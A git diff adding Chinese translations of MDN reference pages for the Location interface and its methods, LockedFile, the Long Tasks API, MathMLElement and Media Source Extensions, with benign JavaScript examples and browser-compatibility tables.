+ +

简介: 文件系统 API 的基本概念

diff --git a/files/zh-cn/web/api/location/assign/index.html b/files/zh-cn/web/api/location/assign/index.html new file mode 100644 index 0000000000..8bf9c358f8 --- /dev/null +++ b/files/zh-cn/web/api/location/assign/index.html @@ -0,0 +1,71 @@ +--- +title: Location.assign() +slug: Web/API/Location/assign +tags: + - API + - Location + - 参考 + - 导航 + - 方法 + - 跳转 +translation_of: Web/API/Location/assign +--- +

{{ APIRef("HTML DOM") }}

+ +

Location.assign() 方法会触发窗口加载并显示指定的URL的内容。

+ +

如果由于安全原因无法执行跳转,那么会抛出一个 SECURITY_ERROR 类型的 {{domxref("DOMException")}}。当调用此方法的脚本来源和页面的 {{domxref("Location")}} 对象中定义的来源隶属于不同域的时候,就会抛出上述错误。

+ +

如果传入了一个无效的 URL,则会抛出一个 SYNTAX_ERROR 类型的 {{domxref("DOMException")}}。

+ +

语法

+ +
location.assign(url);
+
+ +

参数

+ +
+
url
+
一个包含了要跳转到的链接的{{domxref("DOMString")}}。
+
+ +

示例

+ +
// 跳转到 Location.reload() 这篇文章
+	document.location.assign('https://developer.mozilla.org/zh-CN/docs/Web/API/Location/reload');
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "history.html#dom-location-assign", "Location.assign()")}}{{Spec2('HTML WHATWG')}}和 {{SpecName("HTML5 W3C")}} 相同。
{{SpecName('HTML5 W3C', "browsers.html#dom-location-assign", "Location.assign()")}}{{Spec2('HTML5 W3C')}}第一次被定义。
+ +

浏览器兼容性

+ + + +

{{Compat("api.Location.assign")}}

+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/location/hash/index.html b/files/zh-cn/web/api/location/hash/index.html new file mode 100644 index 0000000000..0a0d45e220 --- /dev/null +++ b/files/zh-cn/web/api/location/hash/index.html @@ -0,0 +1,47 @@ +--- +title: 'Location: hash' +slug: Web/API/Location/hash +translation_of: Web/API/Location/hash +--- +
{{ APIRef("Location") }}
+ +

{{domxref("Location")}} 接口的 hash 属性返回一个 {{domxref("USVString")}},其中会包含URL标识中的 '#' 和 后面URL片段标识符。

+ +

这里 fragment 不会经过百分比编码(URL编码)。如果 URL 中没有 fragment,该属性会包含一个空字符串,""

+ +

Syntax

+ +
string = object.hash;
+object.hash = string;
+
+ +

Examples

+ +
<a id="myAnchor" href="/en-US/docs/Location.href#Examples">Examples</a>
+<script>
+  var anchor = document.getElementById("myAnchor");
+  console.log(anchor.hash); // 返回'#Examples'
+</script>
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-location-hash', 'hash')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Location.hash")}}

diff --git a/files/zh-cn/web/api/location/host/index.html b/files/zh-cn/web/api/location/host/index.html new file mode 100644 index 0000000000..f4ab84da3d --- /dev/null +++ b/files/zh-cn/web/api/location/host/index.html @@ -0,0 +1,52 @@ +--- +title: 'Location: host' +slug: Web/API/Location/host +translation_of: Web/API/Location/host +--- +
{{ApiRef("Location")}}
+ +

{{domxref("Location")}} 接口的 host 属性是包含了主机的一段 {{domxref("USVString")}},其中包含:主机名,如果 URL 的端口号是非空的,还会跟上一个 ':' ,最后是 URL 的端口号。

+ +

Syntax

+ +
string = object.host;
+object.host = string;
+
+ +

Examples

+ +
var anchor = document.createElement("a");
+
+anchor.href = "https://developer.mozilla.org/en-US/Location.host"
+anchor.host == "developer.mozilla.org"
+
+anchor.href = "https://developer.mozilla.org:443/en-US/Location.host"
+anchor.host == "developer.mozilla.org"
+// 这里 host 中没有包含端口号,因为 443 是 https协议的默认端口号
+
+anchor.href = "https://developer.mozilla.org:4097/en-US/Location.host"
+anchor.host == "developer.mozilla.org:4097"
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-location-host', 'host')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Location.host")}}

diff --git a/files/zh-cn/web/api/location/hostname/index.html b/files/zh-cn/web/api/location/hostname/index.html new file mode 100644 index 0000000000..20c424dcdf --- /dev/null +++ b/files/zh-cn/web/api/location/hostname/index.html @@ -0,0 +1,43 @@ +--- +title: 'Location: hostname' +slug: Web/API/Location/hostname +translation_of: Web/API/Location/hostname +--- +

{{ApiRef("URL API")}}

+ +

{{domxref("Location")}}的 hostname 属性是包含了域名的一段 {{domxref("USVString")}}。

+ +

Syntax

+ +
string = object.hostname;
+object.hostname = string;
+
+ +

Examples

+ +
// 在文档流中声明了一个元素: <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/Location.hostname">
+var anchor = document.getElementById("myAnchor");
+var result = anchor.hostname; // Returns:'developer.mozilla.org'
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-location-hostname', 'hostname')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.Location.hostname")}}

diff --git a/files/zh-cn/web/api/location/href/index.html b/files/zh-cn/web/api/location/href/index.html new file mode 100644 index 0000000000..55b2cffb4f --- /dev/null +++ b/files/zh-cn/web/api/location/href/index.html @@ -0,0 +1,44 @@ +--- +title: 'Location: href' +slug: Web/API/Location/href +translation_of: Web/API/Location/href +--- +

{{ApiRef("Location")}}

+ +

{{domxref("Location")}} 接口的 href 属性是一个字符串化转换器(stringifier), 返回一个包含了完整 URL 的 {{domxref("USVString")}} 值, 且允许 href 的更新.

+ +

语法

+ +
string = object.href;
+object.href = string;
+
+ +

范例

+ +
// 假设文档中包含标签: <a id="myAnchor" href="https://developer.mozilla.org/en-US/Location/href">
+var anchor = document.getElementById("myAnchor");
+var result = anchor.href; // 返回: 'https://developer.mozilla.org/en-US/Location/href'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-location-href', 'href')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Location.href")}}

diff --git a/files/zh-cn/web/api/location/index.html b/files/zh-cn/web/api/location/index.html new file mode 100644 index 0000000000..7ab82cf7fa --- /dev/null +++ b/files/zh-cn/web/api/location/index.html @@ -0,0 +1,219 @@ +--- +title: Location +slug: Web/API/Location +tags: + - API + - Interface + - Location +translation_of: Web/API/Location +--- +

{{APIRef("URLUtils")}}

+ +

Location 接口表示其链接到的对象的位置(URL)。所做的修改反映在与之相关的对象上。 {{domxref("Document")}} 和 {{domxref("Window")}} 接口都有这样一个链接的Location,分别通过 {{domxref("Document.location")}}和{{domxref("Window.location")}} 访问。

+ +

属性

+ +

Location 接口不继承任何属性,但是实现了那些来自 {{domxref("URLUtils")}} 的属性。

+ +
+
{{domxref("Location.href")}}
+
包含整个URL的一个{{domxref("DOMString")}}
+
{{domxref("Location.protocol")}}
+
包含URL对应协议的一个{{domxref("DOMString")}},最后有一个":"。
+
{{domxref("Location.host")}}
+
包含了域名的一个{{domxref("DOMString")}},可能在该串最后带有一个":"并跟上URL的端口号。
+
{{domxref("Location.hostname")}}
+
包含URL域名的一个{{domxref("DOMString")}}。
+
{{domxref("Location.port")}}
+
包含端口号的一个{{domxref("DOMString")}}。
+
{{domxref("Location.pathname")}}
+
包含URL中路径部分的一个{{domxref("DOMString")}},开头有一个“/"。
+
{{domxref("Location.search")}}
+
 包含URL参数的一个{{domxref("DOMString")}},开头有一个“?”
+
{{domxref("Location.hash")}}
+
包含块标识符的{{domxref("DOMString")}},开头有一个“#”。
+
{{domxref("Location.username")}}
+
包含URL中域名前的用户名的一个{{domxref("DOMString")}}。
+
{{domxref("Location.password")}}
+
包含URL域名前的密码的一个 {{domxref("DOMString")}}。
+
{{domxref("Location.origin")}} {{readOnlyInline}}
+
包含页面来源的域名的标准形式{{domxref("DOMString")}}。
+
+ +

方法

+ +

Location没有继承任何方法,但实现了来自{{domxref("URLUtils")}}的方法。

+ +
+
{{domxref("Location.assign()")}}
+
加载给定URL的内容资源到这个Location对象所关联的对象上。
+
{{domxref("Location.reload()")}}
+
重新加载来自当前 URL的资源。他有一个特殊的可选参数,类型为 {{domxref("Boolean")}},该参数为true时会导致该方法引发的刷新一定会从服务器上加载数据。如果是 false或没有制定这个参数,浏览器可能从缓存当中加载页面。
+
{{domxref("Location.replace()")}}
+
用给定的URL替换掉当前的资源。与 assign() 方法不同的是用 replace()替换的新页面不会被保存在会话的历史 {{domxref("History")}}中,这意味着用户将不能用后退按钮转到该页面。
+
{{domxref("Location.toString()")}}
+
返回一个{{domxref("DOMString")}},包含整个URL。 它和读取{{domxref("URLUtils.href")}}的效果相同。但是用它是不能够修改Location的值的。
+
+ +

例子

+ +
// Create anchor element and use href property for the purpose of this example
+// A more correct alternative is to browse to the URL and use document.location or window.location
+var url = document.createElement('a');
+url.href = 'https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container';
+console.log(url.href);      // https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container
+console.log(url.protocol);  // https:
+console.log(url.host);      // developer.mozilla.org
+console.log(url.hostname);  // developer.mozilla.org
+console.log(url.port);      // (blank - https assumes port 443)
+console.log(url.pathname);  // /en-US/search
+console.log(url.search);    // ?q=URL
+console.log(url.hash);      // #search-results-close-container
+console.log(url.origin);    // https://developer.mozilla.org
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Location")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Location")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
origin on Windows.location{{CompatUnknown}}{{CompatGeckoDesktop("21")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
origin on all location objects (but on Workers, that use {{domxref("WorkerLocation")}}{{CompatUnknown}}{{CompatGeckoDesktop("26")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
username and password{{CompatUnknown}}{{CompatGeckoDesktop("26")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
searchParams{{CompatUnknown}}{{CompatGeckoDesktop("34")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
origin on Windows.location{{CompatUnknown}}{{CompatGeckoMobile("21")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
origin on all location objects (but on Workers, that use {{domxref("WorkerLocation")}}){{CompatUnknown}}{{CompatGeckoMobile("26")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
username and password{{CompatUnknown}}{{CompatGeckoMobile("26")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
searchParams{{CompatUnknown}}{{CompatGeckoMobile("34")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另见

+ + + +
+
 
+
diff --git a/files/zh-cn/web/api/location/reload/index.html b/files/zh-cn/web/api/location/reload/index.html new file mode 100644 index 0000000000..482a779a89 --- /dev/null +++ b/files/zh-cn/web/api/location/reload/index.html @@ -0,0 +1,109 @@ +--- +title: Location.reload() +slug: Web/API/Location/reload +translation_of: Web/API/Location/reload +--- +

{{ APIRef("HTML DOM") }}

+ +

Location.reload() 方法用来刷新当前页面。该方法只有一个参数,当值为 true 时,将强制浏览器从服务器加载页面资源,当值为 false 或者未传参时,浏览器则可能从缓存中读取页面。

+ +

该方法在跨域调用(执行该方法的脚本文件的域和 {{domxref("Location")}} 对象所在页面的跨不同)时,将会抛出 {{domxref("DOMException")}} 异常。

+ +

语法

+ +
object.reload(forcedReload);
+
+ +

参数

+ +
+
forcedReload {{optional_inline}}
+
该参数要求为 {{domxref("Boolean","布尔")}} 类型,当取值为 true 时,将强制浏览器从服务器重新获取当前页面资源,而不是从浏览器的缓存中读取,如果取值为 false 或不传该参数时,浏览器则可能会从缓存中读取当前页面。
+
+ +

示例

+ +
// 无缓存刷新页面(但页面引用的资源还是可能使用缓存,
+// 大多数浏览器可以通过设置在打开开发者工具时禁用缓存实现无缓存需求)
+window.location.reload(true);
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "history.html#dom-location-reload", "Location.reload()")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#dom-location-reload", "Location.reload()")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/location/replace/index.html b/files/zh-cn/web/api/location/replace/index.html new file mode 100644 index 0000000000..410036a441 --- /dev/null +++ b/files/zh-cn/web/api/location/replace/index.html @@ -0,0 +1,71 @@ +--- +title: Location.replace() +slug: Web/API/Location/replace +tags: + - API + - DOM + - Location + - 参考 + - 导航 + - 方法 +translation_of: Web/API/Location/replace +--- +

{{ APIRef("Location") }}

+ +

Location.replace() 方法以给定的URL来替换当前的资源。 与{{domxref("Location.assign","assign()")}} 方法 不同的是,调用 replace() 方法后,当前页面不会保存到会话历史中(session {{domxref("History")}}),这样,用户点击回退按钮时,将不会再跳转到该页面。

+ +

因违反安全规则导致的赋值失败,浏览器将会抛出类型为 SECURITY_ERROR 的 {{domxref("DOMException")}} 异常。当调用该方法的脚本所属的源与拥有 {{domxref("Location")}} 对象所属源不同时,通常情况会发生这种异常,此时通常该脚本是存在不同的域下。

+ +

如果 URL 无效,浏览器也会抛出 SYNTAX_ERROR 类型的 {{domxref("DOMException")}} 异常。

+ +

语法

+ +
object.replace(url);
+
+ +

参数

+ +
+
url
+
 {{domxref("DOMString")}} 类型,指定所导航到的页面的 URL 地址。
+
+ +

示例

+ +
// Navigate to the Location.reload article by replacing this page
+window.location.replace('https://developer.mozilla.org/en-US/docs/Web/API/Location/reload');
+ +

标准

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "history.html#dom-location-replace", "Location.replace()")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#dom-location-replace", "Location.replace()")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Location.replace")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/location/search/index.html b/files/zh-cn/web/api/location/search/index.html new file mode 100644 index 0000000000..deb9fe589a --- /dev/null +++ b/files/zh-cn/web/api/location/search/index.html @@ -0,0 +1,50 @@ +--- +title: 'Location: search' +slug: Web/API/Location/search +translation_of: Web/API/Location/search +--- +
{{ApiRef("Location")}}
+ +

{{domxref("Location")}} 接口的 search 属性会返回一段 {{domxref("USVString")}},其中包含一个URL标识中的 '?' 以及跟随其后的一串URL查询参数。

+ +

现代浏览器提供 URLSearchParams 和 URL.searchParams 两个接口,使得从查询字符串中解析出查询参数变得更加容易。

+ +

Syntax

+ +
string = object.search;
+object.search = string;
+
+ +

Examples

+ +
// 声明了一个 <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/Location.search?q=123"> 元素在文档流中
+var anchor = document.getElementById("myAnchor");
+var queryString = anchor.search; // Returns:'?q=123'
+
+// 进一步解析:
+let params = new URLSearchParams(queryString);
+let q = parseInt(params.get("q")); // is the number 123
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-location-search', 'search')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.Location.search")}}

diff --git a/files/zh-cn/web/api/location/tostring/index.html b/files/zh-cn/web/api/location/tostring/index.html new file mode 100644 index 0000000000..84a5fdddff --- /dev/null +++ b/files/zh-cn/web/api/location/tostring/index.html @@ -0,0 +1,42 @@ +--- +title: 'Location: toString()' +slug: Web/API/Location/toString +translation_of: Web/API/Location/toString +--- +

{{ApiRef(“ Location”)}}

+ +

toString(){{domxref(“ Location”)}}接口stringifier方法返回包含整个URL的{{domxref(“ USVString”)}}}。它是{{domxref(“ Location.href”)}}的只读版本。

+ +

句法

+ +
string = object.toString();
+ +

例子

+ +
// Let's imagine an <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/Location/toString"> element is in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.toString(); // Returns: 'https://developer.mozilla.org/en-US/docs/Location/toString'
+
+ +

技术指标

+ + + + + + + + + + + + + + +
规范状态评论
{{SpecName('HTML WHATWG',“#dom-location-href”)}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat(“ api.Location.toString”)}}

diff --git a/files/zh-cn/web/api/lockedfile/index.html b/files/zh-cn/web/api/lockedfile/index.html new file mode 100644 index 0000000000..30800b65a0 --- /dev/null +++ b/files/zh-cn/web/api/lockedfile/index.html @@ -0,0 +1,84 @@ +--- +title: LockedFile +slug: Web/API/LockedFile +tags: + - API + - 文件 + - 文件操作 + - 锁定 +translation_of: Web/API/LockedFile +--- +

{{APIRef("File System API")}} {{non-standard_header}}

+ +

概要

+ +

LockedFile 接口提供了处理给定文件的所有必要锁定工具

+ +

属性

+ +
+
{{domxref("LockedFile.fileHandle")}} {{readonlyinline}}
+
从被打开的锁定文件返回一个 {{domxref("FileHandle")}} 对象。
+
{{domxref("LockedFile.mode")}} {{readonlyinline}}
+
访问文件的方式; 返回readonly 或 readwrite。
+
{{domxref("LockedFile.active")}} {{readonlyinline}}
+
指示文件是否可以访问,返回true或false。
+
{{domxref("LockedFile.location")}}
+
读/写指针在文件中的位置。
+
+ +

事件处理

+ +
+
{{domxref("LockedFile.oncomplete")}}
+
每次读取或写入操作成功时触发 {{event("complete")}} 事件。
+
{{domxref("LockedFile.onabort")}}
+
每次调用{{domxref("LockedFile.abort()","abort()")}} 方法时会触发{{event("abort")}}事件。
+
{{domxref("LockedFile.onerror")}}
+
在每次出现问题时触发{{event("error")}}事件。
+
+ +

方法

+ +
+
{{domxref("LockedFile.getMetadata()")}}
+
允许检索文件元数据(上次修改的大小和日期)。返回{{domxref("FileRequest")}}对象。
+
{{domxref("LockedFile.readAsArrayBuffer()")}}
+
允许以{{domxref("ArrayBuffer")}}形式检索文件内容的一部分。返回{{domxref("FileRequest")}}对象。
+
{{domxref("LockedFile.readAsText()")}}
+
允许以字符串形式检索文件内容的一部分。返回{{domxref("FileRequest")}}对象。
+
{{domxref("LockedFile.write()")}}
+
允许从{{domxref("LockedFile.location","location")}} 偏移量开始在文件中写入一些数据。返回{{domxref("FileRequest")}}对象。
+
{{domxref("LockedFile.append()")}}
+
允许从文件末尾写入一些数据。返回{{domxref("FileRequest")}}对象。
+
{{domxref("LockedFile.truncate()")}}
+
允许截断文件的内容。返回{{domxref("FileRequest")}}对象。
+
{{domxref("LockedFile.flush()")}}
+
允许保证任何缓冲的数据已被传输到磁盘。
+
{{domxref("LockedFile.abort()")}}
+
使LockedFile无效并取消所有正在进行的操作。
+
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('FileSystem')}}{{Spec2('FileSystem')}}Draft proposal.
+ +

另见

+ + diff --git a/files/zh-cn/web/api/long_tasks_api/index.html b/files/zh-cn/web/api/long_tasks_api/index.html new file mode 100644 index 0000000000..2593310df3 --- /dev/null +++ b/files/zh-cn/web/api/long_tasks_api/index.html @@ -0,0 +1,112 @@ +--- +title: Long Tasks API +slug: Web/API/Long_Tasks_API +translation_of: Web/API/Long_Tasks_API +--- +

{{DefaultAPISidebar("Long Tasks")}}

+ +

目的

+ +

Long Tasks,这是一个实验性API,它可以直观地告诉我们哪些任务执行耗费了50毫秒或更多时间。50毫秒这个阈值标准来源于《RAIL Model》中 "Response: process events in under 50ms" 章节。

+ +

阻塞主线程达50毫秒或以上的任务会导致以下问题:

+ + + +

概念

+ +

长任务(Long task)API使用的一些关键术语或思想。

+ +
+
+

长任务(Long task)

+
+
+ +

任何连续不间断的且主UI线程繁忙50毫秒及以上的时间区间。比如以下常规场景:

+ + + +

浏览上下文的罪魁容器

+ +

浏览上下文的罪魁容器,简称“容器”,指任务发生在其中的顶层页面(the top level page)、iframe、嵌入插槽(embed)或对象(object)。

+ +

清单(Attributions)

+ +

即执行任务的容器清单。针对没有在顶层页面容器内执行的任务,containerIdcontainerNamecontainerSrc字段可以用来提供任务源信息。

+ +

用法

+ +
var observer = new PerformanceObserver(function(list) {
+    var perfEntries = list.getEntries();
+    for (var i = 0; i < perfEntries.length; i++) {
+        // Process long task notifications:
+        // report back for analytics and monitoring
+        // ...
+    }
+});
+// register observer for long task notifications
+observer.observe({entryTypes: ["longtask"]});
+// Long script execution after this will result in queueing
+// and receiving "longtask" entries in the observer.
+
+ +

接口

+ +
+
{{domxref('PerformanceLongTaskTiming')}}
+
返回长任务实例。
+
{{domxref("TaskAttributionTiming")}}
+
返回长任务中涉及的工作及其关联的框架上下文信息。
+
+ +

规范协议

+ + + + + + + + + + + + + + +
规范协议状态备注
{{SpecName('Long Tasks')}}{{Spec2('Long Tasks')}}初始定义
+ +

浏览器兼容性

+ +

PerformanceLongTaskTiming

+ +
+ + +

{{Compat("api.PerformanceLongTaskTiming")}}

+
+ +

TaskAttributionTiming

+ +
+ + +

{{Compat("api.TaskAttributionTiming")}}

+
+ +

相关推荐

+ + diff --git a/files/zh-cn/web/api/mathmlelement/index.html b/files/zh-cn/web/api/mathmlelement/index.html new file mode 100644 index 0000000000..1d6c01f1c7 --- /dev/null +++ b/files/zh-cn/web/api/mathmlelement/index.html @@ -0,0 +1,72 @@ +--- +title: MathMLElement +slug: Web/API/MathMLElement +tags: + - API + - MathML + - 元素 + - 参考 + - 接口 +translation_of: Web/API/MathMLElement +--- +
{{APIRef("MathML")}}
+ +

MathMLElement 接口表示任意 MathML 元素。

+ +

属性

+ +

This interface has no properties, but inherits properties from: {{DOMxRef("DocumentAndElementEventHandlers")}}, {{DOMxRef("Element")}}, {{DOMxRef("ElementCSSInlineStyle")}}, {{DOMxRef("GlobalEventHandlers")}}, {{DOMxRef("HTMLOrForeignElement")}}

+ + + +

方法

+ +

This interface has no methods, but inherits methods from: {{DOMxRef("DocumentAndElementEventHandlers")}}, {{DOMxRef("Element")}}, {{DOMxRef("ElementCSSInlineStyle")}}, {{DOMxRef("GlobalEventHandlers")}}, {{DOMxRef("HTMLOrForeignElement")}}

+ +

示例

+ +

MathML

+ +
<math xmlns="http://www.w3.org/1998/Math/MathML">
+  <msqrt>
+    <mi>x</mi>
+  </msqrt>
+</math>
+ +

JavaScript

+ +
document.querySelector('msqrt').constructor.name; // MathMLElement
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
MathMLElement interface
+ +

浏览器兼容性

+ + + +

{{Compat("api.MathMLElement")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/media_source_extensions_api/index.html b/files/zh-cn/web/api/media_source_extensions_api/index.html new file mode 100644 index 0000000000..c72a6896b5 --- /dev/null +++ b/files/zh-cn/web/api/media_source_extensions_api/index.html @@ -0,0 +1,150 @@ +--- +title: Media Source Extensions API +slug: Web/API/Media_Source_Extensions_API +translation_of: Web/API/Media_Source_Extensions_API +--- +

{{DefaultAPISidebar("Media Source Extensions")}}{{ SeeCompatTable() }}

+ +

媒体源扩展 API(MSE) 提供了实现无插件且基于 Web 的流媒体的功能。使用 MSE,媒体串流能够通过 JavaScript 创建,并且能通过使用 {{htmlelement("audio")}} 和 {{htmlelement("video")}} 元素进行播放。

+ +

概念和用法

+ +

近几年来,我们已经可以在 Web 应用程序上无插件地播放视频和音频了。但是,现有架构过于简单,只能满足一次播放整个曲目的需要,无法实现拆分/合并数个缓冲文件。流媒体直到现在还在使用 Flash 进行服务,以及通过 RTMP 协议进行视频串流的 Flash 媒体服务器。

+ +

MSE 标准

+ +

媒体源扩展(MSE)实现后,情况就不一样了。MSE 使我们可以把通常的单个媒体文件的 src 值替换成引用 MediaSource 对象(一个包含即将播放的媒体文件的准备状态等信息的容器),以及引用多个 SourceBuffer 对象(代表多个组成整个串流的不同媒体块)的元素。MSE 让我们能够根据内容获取的大小和频率,或是内存占用详情(例如什么时候缓存被回收),进行更加精准地控制。 它是基于它可扩展的 API 建立自适应比特率流客户端(例如DASH 或 HLS 的客户端)的基础。

+ +

在现代浏览器中创造能兼容 MSE 的媒体(assets)非常费时费力,还要消耗大量计算机资源和能源。此外,还须使用外部实用程序将内容转换成合适的格式。虽然浏览器支持兼容 MSE 的各种媒体容器,但采用 H.264 视频编码、AAC 音频编码和 MP4 容器的格式是非常常见的,且一定兼容。MSE 同时还提供了一个 API,用于运行时检测容器和编解码是否受支持。

+ +

如果没有精确的控制时间、媒体质量和内存释放等需求,使用 {{htmlelement("video")}} 和 {{htmlelement("source")}} 是一个更加简单但够用的方案。

+ +

DASH

+ +

DASH(Dynamic Adaptive Streaming over HTTP )是一个规范了自适应内容应当如何被获取的协议。它实际上是建立在 MSE 顶部的一个层,用来构建自适应比特率串流客户端。虽然已经有一个类似的协议了(例如 HTTP 串流直播(HLS)),但 DASH 有最好的跨平台兼容性,这就是我们在这里介绍它的原因。

+ +

DASH 将大量逻辑从网络协议中移出到客户端应用程序逻辑中,使用更简单的 HTTP 协议获取文件。 这样就可以用一个简单的静态文件服务器来支持 DASH,这对CDN也很友好。这与之前的流传输解决方案形成鲜明对比,那些流解决方案需要昂贵的许可证来获得非标准的客户端/服务器协议才能实现。

+ +

DASH 的两个最常见的用例涉及“点播”或“直播”观看内容。点播功能让开发者有时间把媒体文件转码出多种不同的分辨率质量。

+ +

实时处理内容会引入由转码和播发带来的延迟。因此 DASH 并不适用于类似 WebRTC 的即时通讯。但它可以支持比 WebRTC 更多的客户端连接。

+ +

有非常多的自由开源的工具,能实现转码内容,并将其改造,以适应 DASH、DASH 文件服务器和用 JavaScript 编写的 DASH 客户端库。

+ +

媒体源扩展接口

+ +
+
{{domxref("MediaSource")}}
+
代表了将由 {{domxref("HTMLMediaElement")}} 对象播放的媒体资源。
+
{{domxref("SourceBuffer")}}
+
代表了一个经由 MediaSource 对象被传入 {{domxref("HTMLMediaElement")}} 的媒体块。
+
{{domxref("SourceBufferList")}}
+
列出多个 SourceBuffer 对象的简单的容器列表。
+
{{domxref("VideoPlaybackQuality")}}
+
包含了有关正被 {{htmlelement("video")}} 元素播放的视频的质量信息,例如被丢弃或损坏的帧的数量。由 {{domxref("HTMLVideoElement.getVideoPlaybackQuality()")}} 方法返回。
+
{{domxref("TrackDefault")}}
+
为在媒体块的初始化段(initialization segments)中没有包含类型、标签和语言信息的轨道,提供一个包含这些信息的 {{domxref("SourceBuffer")}}。
+
{{domxref("TrackDefaultList")}}
+
列出多个 TrackDefault 对象的简单的容器列表。
+
+ +

其他接口的扩展

+ +
+
{{domxref("URL.createObjectURL()")}}
+
创建一个指向一个 MediaSource 对象的 URL。要求此 URL 可以被指定为一个用来播放媒体流的 HTML 媒体元素的 src 的值。
+
{{domxref("HTMLMediaElement.seekable")}}
+
当一个 MediaSource 对象被 HTML 媒体元素播放时,此属性将返回一个包含用户能够在什么时间范围内进行调整的对象 {{domxref("TimeRanges")}}。
+
{{domxref("HTMLVideoElement.getVideoPlaybackQuality()")}}
+
针对正在播放的视频,返回一个 {{domxref("VideoPlaybackQuality")}} 对象。
+
{{domxref("AudioTrack.sourceBuffer")}}, {{domxref("VideoTrack.sourceBuffer")}}, {{domxref("TextTrack.sourceBuffer")}}
+
返回创建了相关轨道的 {{domxref("SourceBuffer")}}。
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态附注
{{SpecName('Media Source Extensions')}}{{Spec2('Media Source Extensions')}}初始定义。
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
功能ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持23{{CompatGeckoDesktop("25.0")}}[1]
+ {{CompatGeckoDesktop("42.0")}}
11[2]158
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
功能AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持4.4.4 +

{{CompatNo}}

+
{{CompatNo}}1130{{CompatNo}}
+
+ +

